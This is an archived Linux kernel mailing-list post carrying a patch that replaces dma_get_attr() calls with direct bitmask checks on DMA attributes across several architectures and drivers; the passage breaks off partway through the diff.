NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465553696 19113 80.91.229.3 (10 Jun 2016 10:14:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 10:14:56 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>,
	Michal Hocko <mhocko-IBi9RG/b67k@public.gmane.org>, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Heiko Stuebner <heiko-4mtYJXux2i+zQB+pC5nmwQ@public.gmane.org>, linux-doc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>, dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	Jisheng Zhang <jszhang-eYqpPyKDWXRBDgjK7y7TUQ@public.gmane.org>,
	Andrea Gelmini <andrea.gelmini-PT7Us6ch6G9eoWH0uzbU5w@public.gmane.org>,
	Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	Jonas Bonn <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>,
	Stefano Stabellini <sstabellini-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
	Pawel Osciak <pawel-FA/gS7QP4orQT0dZR+AlfA@public.gmane.org>, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Jonathan Corbet <corbet-T1hC0tSOHrs@public.gmane.org>, Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	Mauro Carvalho Chehab <mchehab-ENqhbk7DqA8@public.gmane.org
To: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jun 10 12:14:35 2016
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1bBJSU-0006tt-IZ
	for glki-iommu@m.gmane.org; Fri, 10 Jun 2016 12:14:34 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 53CE2951;
	Fri, 10 Jun 2016 10:14:31 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 7D00E6C
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 10 Jun 2016 10:14:30 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mailout4.w1.samsung.com (mailout4.w1.samsung.com
	[210.118.77.14])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 7D4D716E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 10 Jun 2016 10:14:27 +0000 (UTC)
Original-Received: from eucpsbgm2.samsung.com (unknown [203.254.199.245])
	by mailout4.w1.samsung.com
	(Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May 5
	2014)) with ESMTP id <0O8J006BIWG08750-EzmLBFjv21kN6F2oBFWwZJQQlyuF8BCz@public.gmane.org> for
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org; Fri, 10 Jun 2016 11:14:25 +0100 (BST)
X-AuditID: cbfec7f5-f792a6d000001302-56-575a9300b16f
Original-Received: from eusync4.samsung.com ( [203.254.199.214])
	by eucpsbgm2.samsung.com (EUCPMTA) with SMTP id C9.B3.04866.0039A575;
	Fri, 10 Jun 2016 11:14:24 +0100 (BST)
Original-Received: from AMDC2174.DIGITAL.local ([106.120.53.17])
	by eusync4.samsung.com (Oracle Communications Messaging Server
	7.0.5.31.0 64bit (built May  5 2014))
	with ESMTPA id <0O8J00MI3WC5KUB0-lbMaF5/58HJLN7c7dRTbYkEOCMrvLtNR@public.gmane.org>; Fri,
	10 Jun 2016 11:14:24 +0100 (BST)
X-Mailer: git-send-email 1.9.1
In-reply-to: <1465553521-27303-1-git-send-email-k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
X-Brightmail-Tracker: H4sIAAAAAAAAAzWSa0xTdxjG/Z/zP+e0ZM3OCttOXLYlzS6JN+ZueeOGkezD/h8W54dlKDNz
	BzgrZtzSA4iLJgVFC3QMUMaopqEIE2uFDmFgrRSaDkVgYWV00a06aqdysbRsXCbDrpXs2y/P
	++R53jd5FbTaz6xX7M8rlHR5Yo6GTcDDj676Nq87kZ722lDzK3Bk4k8OliavM/DVT0MUTPcb
	EJzusLHgNDSw0GUIs7DkMjGwWjfIwfffdjAQLiunoaGtB8Pcd0YEwf7jCG7P/4bgl4U5Fqra
	Axwc+yYVhmuaKYgGZhhYXjiCocn1DoTM92lYnLTE/O1WBv5tDFNQccrOQejqZQwz97fCaNks
	B513fAxYjrVgCBtCDIw7TrNgtHczcPfmcQw19XUcBK6PUTD/R5SG8t8vUOCuvxJbxDJCwcrS
	IwYuePwc9J7sp+D2ci0H94au0HD+bgn0tvbFpOod0KV3s2DznOHg5IN/OIh4Q7Fj6qMYvM6X
	YCAcZOB8+z6oXW6KpT6cZ2F27BaGU6XVCNzdAQxTkWt4RyoJDpgpUu5dZYnNbENk3PczTVYe
	1iEyEHCzpHlKj8mPrixyyeTnSDjyKTnqecAQ46URRC62bSBnnFMUMc4eZUintYLdtSk94d0s
	KWd/saRL3v5ZQrar5xwqmDyLSlx+pR6NVKBKpFAI/JtCl12uRMoYPiOM3epg46zmW5EQ8n5Y
	iRJiXEoJE5EIjg9Y/g3h4tmWx6YkfrNgveeg40zzlkQhelmMcyK/Tfg78NfjfMy/LPxwLiUu
	q3giBLpd1FrXC8LQ4AkmzsqYXuVvxGu97ws9wWmqBqma0DoreloqyiyQM7S5r2+R 
X-Spam-Status: No, score=-8.3 required=5.0 tests=BAYES_00,RCVD_IN_DNSWL_HI,
	RP_MATCHES_RCVD autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	smtp1.linux-foundation.org
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:14101 gmane.linux.ports.mips.general:55175 gmane.linux.ports.ia64:26871 gmane.linux.documentation:38945 gmane.comp.video.dri.devel:156903 gmane.linux.kernel.arc:1204 gmane.linux.ports.arm.kernel:505880 gmane.linux.drivers.video-input-infrastructure:102760 gmane.linux.ports.arm.rockchip:7316 gmane.linux.kernel.metag:1109 gmane.linux.ports.parisc:26878 gmane.linux.kernel:2240669 gmane.linux.ports.ppc64.devel:128424
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/14101>

After switching DMA attributes to unsigned long it is easier to just
compare the bits.

Signed-off-by: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
[for avr32]
Acked-by: Hans-Christian Noren Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>
---
 Documentation/DMA-API.txt                      |  4 +--
 arch/arc/mm/dma.c                              |  4 +--
 arch/arm/mm/dma-mapping.c                      | 36 ++++++++++++--------------
 arch/arm/xen/mm.c                              |  4 +--
 arch/arm64/mm/dma-mapping.c                    | 10 +++----
 arch/avr32/mm/dma-coherent.c                   |  4 +--
 arch/ia64/sn/pci/pci_dma.c                     | 10 ++-----
 arch/metag/kernel/dma.c                        |  2 +-
 arch/mips/mm/dma-default.c                     |  6 ++---
 arch/openrisc/kernel/dma.c                     |  4 +--
 arch/parisc/kernel/pci-dma.c                   |  2 +-
 arch/powerpc/platforms/cell/iommu.c            | 12 ++++-----
 drivers/gpu/drm/rockchip/rockchip_drm_gem.c    |  2 +-
 drivers/iommu/dma-iommu.c                      |  2 +-
 drivers/media/v4l2-core/videobuf2-dma-contig.c |  2 +-
 include/linux/dma-mapping.h                    | 10 -------
 16 files changed, 47 insertions(+), 67 deletions(-)

diff --git a/Documentation/DMA-API.txt b/Documentation/DMA-API.txt
index 24f9688bb98a..1d26eeb6b5f6 100644
--- a/Documentation/DMA-API.txt
+++ b/Documentation/DMA-API.txt
@@ -422,9 +422,7 @@ void whizco_dma_map_sg_attrs(struct device *dev, dma_addr_t dma_addr,
 			     unsigned long attrs)
 {
 	....
-	int foo =  dma_get_attr(DMA_ATTR_FOO, attrs);
-	....
-	if (foo)
+	if (attrs & DMA_ATTR_FOO)
 		/* twizzle the frobnozzle */
 	....
 
diff --git a/arch/arc/mm/dma.c b/arch/arc/mm/dma.c
index 3d1f467d1792..74bbe68dce9d 100644
--- a/arch/arc/mm/dma.c
+++ b/arch/arc/mm/dma.c
@@ -46,7 +46,7 @@ static void *arc_dma_alloc(struct device *dev, size_t size,
 	 *   (vs. always going to memory - thus are faster)
 	 */
 	if ((is_isa_arcv2() && ioc_exists) ||
-	    dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs))
+	    (attrs & DMA_ATTR_NON_CONSISTENT))
 		need_coh = 0;
 
 	/*
@@ -95,7 +95,7 @@ static void arc_dma_free(struct device *dev, size_t size, void *vaddr,
 	struct page *page = virt_to_page(dma_handle);
 	int is_non_coh = 1;
 
-	is_non_coh = dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs) ||
+	is_non_coh = (attrs & DMA_ATTR_NON_CONSISTENT) ||
 			(is_isa_arcv2() && ioc_exists);
 
 	if (PageHighMem(page) || !is_non_coh)
diff --git a/arch/arm/mm/dma-mapping.c b/arch/arm/mm/dma-mapping.c
index ebb3fde99043..43e03b5293d0 100644
--- a/arch/arm/mm/dma-mapping.c
+++ b/arch/arm/mm/dma-mapping.c
@@ -126,7 +126,7 @@ static dma_addr_t arm_dma_map_page(struct device *dev, struct page *page,
 	     unsigned long offset, size_t size, enum dma_data_direction dir,
 	     unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__dma_page_cpu_to_dev(page, offset, size, dir);
 	return pfn_to_dma(dev, page_to_pfn(page)) + offset;
 }
@@ -155,7 +155,7 @@ static dma_addr_t arm_coherent_dma_map_page(struct device *dev, struct page *pag
 static void arm_dma_unmap_page(struct device *dev, dma_addr_t handle,
 		size_t size, enum dma_data_direction dir, unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__dma_page_dev_to_cpu(pfn_to_page(dma_to_pfn(dev, handle)),
 				      handle & ~PAGE_MASK, size, dir);
 }
@@ -622,9 +622,9 @@ static void __free_from_contiguous(struct device *dev, struct page *page,
 
 static inline pgprot_t __get_dma_pgprot(unsigned long attrs, pgprot_t prot)
 {
-	prot = dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs) ?
-			    pgprot_writecombine(prot) :
-			    pgprot_dmacoherent(prot);
+	prot = (attrs & DMA_ATTR_WRITE_COMBINE) ?
+			pgprot_writecombine(prot) :
+			pgprot_dmacoherent(prot);
 	return prot;
 }
 
@@ -744,7 +744,7 @@ static void *__dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
 		.gfp = gfp,
 		.prot = prot,
 		.caller = caller,
-		.want_vaddr = !dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs),
+		.want_vaddr = ((attrs & DMA_ATTR_NO_KERNEL_MAPPING) == 0),
 	};
 
 #ifdef CONFIG_DMA_API_DEBUG
@@ -887,7 +887,7 @@ static void __arm_dma_free(struct device *dev, size_t size, void *cpu_addr,
 		.size = PAGE_ALIGN(size),
 		.cpu_addr = cpu_addr,
 		.page = page,
-		.want_vaddr = !dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs),
+		.want_vaddr = ((attrs & DMA_ATTR_NO_KERNEL_MAPPING) == 0),
 	};
 
 	buf = arm_dma_buffer_find(cpu_addr);
@@ -1267,7 +1267,7 @@ static struct page **__iommu_alloc_buffer(struct device *dev, size_t size,
 	if (!pages)
 		return NULL;
 
-	if (dma_get_attr(DMA_ATTR_FORCE_CONTIGUOUS, attrs))
+	if (attrs & DMA_ATTR_FORCE_CONTIGUOUS)
 	{
 		unsigned long order = get_order(size);
 		struct page *page;
@@ -1285,7 +1285,7 @@ static struct page **__iommu_alloc_buffer(struct device *dev, size_t size,
 	}
 
 	/* Go straight to 4K chunks if caller says it's OK. */
-	if (dma_get_attr(DMA_ATTR_ALLOC_SINGLE_PAGES, attrs))
+	if (attrs & DMA_ATTR_ALLOC_SINGLE_PAGES)
 		order_idx = ARRAY_SIZE(iommu_order_array) - 1;
 
 	/*
@@ -1346,7 +1346,7 @@ static int __iommu_free_buffer(struct device *dev, struct page **pages,
 	int count = size >> PAGE_SHIFT;
 	int i;
 
-	if (dma_get_attr(DMA_ATTR_FORCE_CONTIGUOUS, attrs)) {
+	if (attrs & DMA_ATTR_FORCE_CONTIGUOUS) {
 		dma_release_from_contiguous(dev, pages[0], count);
 	} else {
 		for (i = 0; i < count; i++)
@@ -1445,7 +1445,7 @@ static struct page **__iommu_get_pages(void *cpu_addr, unsigned long attrs)
 	if (__in_atomic_pool(cpu_addr, PAGE_SIZE))
 		return __atomic_get_pages(cpu_addr);
 
-	if (dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs))
+	if (attrs & DMA_ATTR_NO_KERNEL_MAPPING)
 		return cpu_addr;
 
 	area = find_vm_area(cpu_addr);
@@ -1512,7 +1512,7 @@ static void *arm_iommu_alloc_attrs(struct device *dev, size_t size,
 	if (*handle == DMA_ERROR_CODE)
 		goto err_buffer;
 
-	if (dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs))
+	if (attrs & DMA_ATTR_NO_KERNEL_MAPPING)
 		return pages;
 
 	addr = __iommu_alloc_remap(pages, size, gfp, prot,
@@ -1583,7 +1583,7 @@ void arm_iommu_free_attrs(struct device *dev, size_t size, void *cpu_addr,
 		return;
 	}
 
-	if (!dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs)) {
+	if ((attrs & DMA_ATTR_NO_KERNEL_MAPPING) == 0) {
 		dma_common_free_remap(cpu_addr, size,
 			VM_ARM_DMA_CONSISTENT | VM_USERMAP);
 	}
@@ -1653,8 +1653,7 @@ static int __map_sg_chunk(struct device *dev, struct scatterlist *sg,
 		phys_addr_t phys = page_to_phys(sg_page(s));
 		unsigned int len = PAGE_ALIGN(s->offset + s->length);
 
-		if (!is_coherent &&
-			!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+		if (!is_coherent && (attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 			__dma_page_cpu_to_dev(sg_page(s), s->offset, s->length, dir);
 
 		prot = __dma_direction_to_prot(dir);
@@ -1767,8 +1766,7 @@ static void __iommu_unmap_sg(struct device *dev, struct scatterlist *sg,
 		if (sg_dma_len(s))
 			__iommu_remove_mapping(dev, sg_dma_address(s),
 					       sg_dma_len(s));
-		if (!is_coherent &&
-		    !dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+		if (!is_coherent && (attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 			__dma_page_dev_to_cpu(sg_page(s), s->offset,
 					      s->length, dir);
 	}
@@ -1892,7 +1890,7 @@ static dma_addr_t arm_iommu_map_page(struct device *dev, struct page *page,
 	     unsigned long offset, size_t size, enum dma_data_direction dir,
 	     unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__dma_page_cpu_to_dev(page, offset, size, dir);
 
 	return arm_coherent_iommu_map_page(dev, page, offset, size, dir, attrs);
@@ -1943,7 +1941,7 @@ static void arm_iommu_unmap_page(struct device *dev, dma_addr_t handle,
 	if (!iova)
 		return;
 
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__dma_page_dev_to_cpu(page, offset, size, dir);
 
 	iommu_unmap(mapping->domain, iova, len);
diff --git a/arch/arm/xen/mm.c b/arch/arm/xen/mm.c
index fc67ed236a10..d062f08f5020 100644
--- a/arch/arm/xen/mm.c
+++ b/arch/arm/xen/mm.c
@@ -102,7 +102,7 @@ void __xen_dma_map_page(struct device *hwdev, struct page *page,
 {
 	if (is_device_dma_coherent(hwdev))
 		return;
-	if (dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
 		return;
 
 	__xen_dma_page_cpu_to_dev(hwdev, dev_addr, size, dir);
@@ -115,7 +115,7 @@ void __xen_dma_unmap_page(struct device *hwdev, dma_addr_t handle,
 {
 	if (is_device_dma_coherent(hwdev))
 		return;
-	if (dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
 		return;
 
 	__xen_dma_page_dev_to_cpu(hwdev, handle, size, dir);
diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
index a7686028dfeb..06c068ca3541 100644
--- a/arch/arm64/mm/dma-mapping.c
+++ b/arch/arm64/mm/dma-mapping.c
@@ -32,7 +32,7 @@
 static pgprot_t __get_dma_pgprot(unsigned long attrs, pgprot_t prot,
 				 bool coherent)
 {
-	if (!coherent || dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs))
+	if (!coherent || (attrs & DMA_ATTR_WRITE_COMBINE))
 		return pgprot_writecombine(prot);
 	return prot;
 }
@@ -702,7 +702,7 @@ static dma_addr_t __iommu_map_page(struct device *dev, struct page *page,
 	dma_addr_t dev_addr = iommu_dma_map_page(dev, page, offset, size, prot);
 
 	if (!iommu_dma_mapping_error(dev, dev_addr) &&
-	    !dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	    (attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__iommu_sync_single_for_device(dev, dev_addr, size, dir);
 
 	return dev_addr;
@@ -712,7 +712,7 @@ static void __iommu_unmap_page(struct device *dev, dma_addr_t dev_addr,
 			       size_t size, enum dma_data_direction dir,
 			       unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__iommu_sync_single_for_cpu(dev, dev_addr, size, dir);
 
 	iommu_dma_unmap_page(dev, dev_addr, size, dir, attrs);
@@ -752,7 +752,7 @@ static int __iommu_map_sg_attrs(struct device *dev, struct scatterlist *sgl,
 {
 	bool coherent = is_device_dma_coherent(dev);
 
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__iommu_sync_sg_for_device(dev, sgl, nelems, dir);
 
 	return iommu_dma_map_sg(dev, sgl, nelems,
@@ -764,7 +764,7 @@ static void __iommu_unmap_sg_attrs(struct device *dev,
 				   enum dma_data_direction dir,
 				   unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__iommu_sync_sg_for_cpu(dev, sgl, nelems, dir);
 
 	iommu_dma_unmap_sg(dev, sgl, nelems, dir, attrs);
diff --git a/arch/avr32/mm/dma-coherent.c b/arch/avr32/mm/dma-coherent.c
index fc51f4421933..58610d0df7ed 100644
--- a/arch/avr32/mm/dma-coherent.c
+++ b/arch/avr32/mm/dma-coherent.c
@@ -109,7 +109,7 @@ static void *avr32_dma_alloc(struct device *dev, size_t size,
 		return NULL;
 	phys = page_to_phys(page);
 
-	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs)) {
+	if (attrs & DMA_ATTR_WRITE_COMBINE) {
 		/* Now, map the page into P3 with write-combining turned on */
 		*handle = phys;
 		return __ioremap(phys, size, _PAGE_BUFFER);
@@ -123,7 +123,7 @@ static void avr32_dma_free(struct device *dev, size_t size,
 {
 	struct page *page;
 
-	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs)) {
+	if (attrs & DMA_ATTR_WRITE_COMBINE) {
 		iounmap(cpu_addr);
 
 		page = phys_to_page(handle);
diff --git a/arch/ia64/sn/pci/pci_dma.c b/arch/ia64/sn/pci/pci_dma.c
index 6b78fc953c4b..74c934a997bb 100644
--- a/arch/ia64/sn/pci/pci_dma.c
+++ b/arch/ia64/sn/pci/pci_dma.c
@@ -183,14 +183,11 @@ static dma_addr_t sn_dma_map_page(struct device *dev, struct page *page,
 	unsigned long phys_addr;
 	struct pci_dev *pdev = to_pci_dev(dev);
 	struct sn_pcibus_provider *provider = SN_PCIDEV_BUSPROVIDER(pdev);
-	int dmabarr;
-
-	dmabarr = dma_get_attr(DMA_ATTR_WRITE_BARRIER, attrs);
 
 	BUG_ON(!dev_is_pci(dev));
 
 	phys_addr = __pa(cpu_addr);
-	if (dmabarr)
+	if (attrs & DMA_ATTR_WRITE_BARRIER)
 		dma_addr = provider->dma_map_consistent(pdev, phys_addr,
 							size, SN_DMA_ADDR_PHYS);
 	else
@@ -280,9 +277,6 @@ static int sn_dma_map_sg(struct device *dev, struct scatterlist *sgl,
 	struct pci_dev *pdev = to_pci_dev(dev);
 	struct sn_pcibus_provider *provider = SN_PCIDEV_BUSPROVIDER(pdev);
 	int i;
-	int dmabarr;
-
-	dmabarr = dma_get_attr(DMA_ATTR_WRITE_BARRIER, attrs);
 
 	BUG_ON(!dev_is_pci(dev));
 
@@ -292,7 +286,7 @@ static int sn_dma_map_sg(struct device *dev, struct scatterlist *sgl,
 	for_each_sg(sgl, sg, nhwentries, i) {
 		dma_addr_t dma_addr;
 		phys_addr = SG_ENT_PHYS_ADDRESS(sg);
-		if (dmabarr)
+		if (attrs & DMA_ATTR_WRITE_BARRIER)
 			dma_addr = provider->dma_map_consistent(pdev,
 								phys_addr,
 								sg->length,
diff --git a/arch/metag/kernel/dma.c b/arch/metag/kernel/dma.c
index d68f498e82a1..0db31e24c541 100644
--- a/arch/metag/kernel/dma.c
+++ b/arch/metag/kernel/dma.c
@@ -337,7 +337,7 @@ static int metag_dma_mmap(struct device *dev, struct vm_area_struct *vma,
 	struct metag_vm_region *c;
 	int ret = -ENXIO;
 
-	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs))
+	if (attrs & DMA_ATTR_WRITE_COMBINE)
 		vma->vm_page_prot = pgprot_writecombine(vma->vm_page_prot);
 	else
 		vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c
index 0ed9000dc1ff..b2eadd6fa9a1 100644
--- a/arch/mips/mm/dma-default.c
+++ b/arch/mips/mm/dma-default.c
@@ -141,7 +141,7 @@ static void *mips_dma_alloc_coherent(struct device *dev, size_t size,
 	 * XXX: seems like the coherent and non-coherent implementations could
 	 * be consolidated.
 	 */
-	if (dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs))
+	if (attrs & DMA_ATTR_NON_CONSISTENT)
 		return mips_dma_alloc_noncoherent(dev, size, dma_handle, gfp);
 
 	gfp = massage_gfp_flags(dev, gfp);
@@ -182,7 +182,7 @@ static void mips_dma_free_coherent(struct device *dev, size_t size, void *vaddr,
 	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
 	struct page *page = NULL;
 
-	if (dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs)) {
+	if (attrs & DMA_ATTR_NON_CONSISTENT) {
 		mips_dma_free_noncoherent(dev, size, vaddr, dma_handle);
 		return;
 	}
@@ -214,7 +214,7 @@ static int mips_dma_mmap(struct device *dev, struct vm_area_struct *vma,
 
 	pfn = page_to_pfn(virt_to_page((void *)addr));
 
-	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs))
+	if (attrs & DMA_ATTR_WRITE_COMBINE)
 		vma->vm_page_prot = pgprot_writecombine(vma->vm_page_prot);
 	else
 		vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
index 50eb1f26c540..140c99140649 100644
--- a/arch/openrisc/kernel/dma.c
+++ b/arch/openrisc/kernel/dma.c
@@ -100,7 +100,7 @@ or1k_dma_alloc(struct device *dev, size_t size,
 
 	va = (unsigned long)page;
 
-	if (!dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs)) {
+	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0) {
 		/*
 		 * We need to iterate through the pages, clearing the dcache for
 		 * them and setting the cache-inhibit bit.
@@ -124,7 +124,7 @@ or1k_dma_free(struct device *dev, size_t size, void *vaddr,
 		.mm = &init_mm
 	};
 
-	if (!dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs)) {
+	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0) {
 		/* walk_page_range shouldn't be able to fail here */
 		WARN_ON(walk_page_range(va, va + size, &walk));
 	}
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 845fdd52e4c5..02d9ed0f3949 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -581,7 +581,7 @@ static void *pcx_dma_alloc(struct device *dev, size_t size,
 {
 	void *addr;
 
-	if (!dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs))
+	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0)
 		return NULL;
 
 	addr = (void *)__get_free_pages(flag, get_order(size));
diff --git a/arch/powerpc/platforms/cell/iommu.c b/arch/powerpc/platforms/cell/iommu.c
index c8e11e020335..6128bdb428b2 100644
--- a/arch/powerpc/platforms/cell/iommu.c
+++ b/arch/powerpc/platforms/cell/iommu.c
@@ -193,7 +193,7 @@ static int tce_build_cell(struct iommu_table *tbl, long index, long npages,
 	base_pte = CBE_IOPTE_PP_W | CBE_IOPTE_PP_R | CBE_IOPTE_M |
 		CBE_IOPTE_SO_RW | (window->ioid & CBE_IOPTE_IOID_Mask);
 #endif
-	if (unlikely(dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs)))
+	if (unlikely(attrs & DMA_ATTR_WEAK_ORDERING))
 		base_pte &= ~CBE_IOPTE_SO_RW;
 
 	io_pte = (unsigned long *)tbl->it_base + (index - tbl->it_offset);
@@ -600,7 +600,7 @@ static dma_addr_t dma_fixed_map_page(struct device *dev, struct page *page,
 				     enum dma_data_direction direction,
 				     unsigned long attrs)
 {
-	if (iommu_fixed_is_weak == dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs))
